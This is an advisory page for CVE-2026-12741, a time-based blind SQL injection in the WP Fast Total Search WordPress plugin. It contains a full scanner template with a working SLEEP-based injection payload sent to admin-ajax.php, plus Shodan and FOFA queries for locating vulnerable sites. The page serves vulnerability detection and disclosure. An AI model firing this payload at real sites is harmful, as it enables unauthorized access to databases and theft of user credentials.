CVE-2026-12741: WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection

2026-10-15 PoC Public

Description

WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.

Details

CVE
CVE-2026-12741 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-12741

info:
  name: WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection
  author: Abdullah Shahid (comradezephyr)
  severity: high
  description: |
    WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.
  impact: |
    An unauthenticated attacker can execute arbitrary SQL against the WordPress database, enabling extraction of user accounts, password hashes and other sensitive data.
  remediation: |
    Update WP Fast Total Search to version 1.81.282 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12741
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9b6fe22-330a-4c24-9fdf-16f35516fb2a?source=cve
    - https://plugins.trac.wordpress.org/browser/fulltext-search/tags/1.80.280/includes/wpfts_search.php#L825
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-12741
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: wp-fast-total-search
    product: wp_fast_total_search
    shodan-query: http.html:"wp-content/plugins/fulltext-search"
    fofa-query: body="wp-content/plugins/fulltext-search"
  tags: cve,cve2026,wordpress,wp-plugin,fulltext-search,sqli,time-based-sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "/wp-content/plugins/fulltext-search/")'

  - raw:
      - |
        @timeout: 12s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpfts_autocomplete&form_data%5Bsentence%5D=1&form_data%5Bs%5D=zzz%22%20OR%20%28SELECT%201%20FROM%20%28SELECT%20SLEEP%284%29%29x%29%20OR%20%22aaa

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7 && duration < 20'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220053dc98cfe583a41c87dfaabe7749a6bca71ebe233188967ed8f438735b6cc580220612192eb214bfa0834c1720e8f0fdff5a9cf1e663856fb5ca458cad674bb5304:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life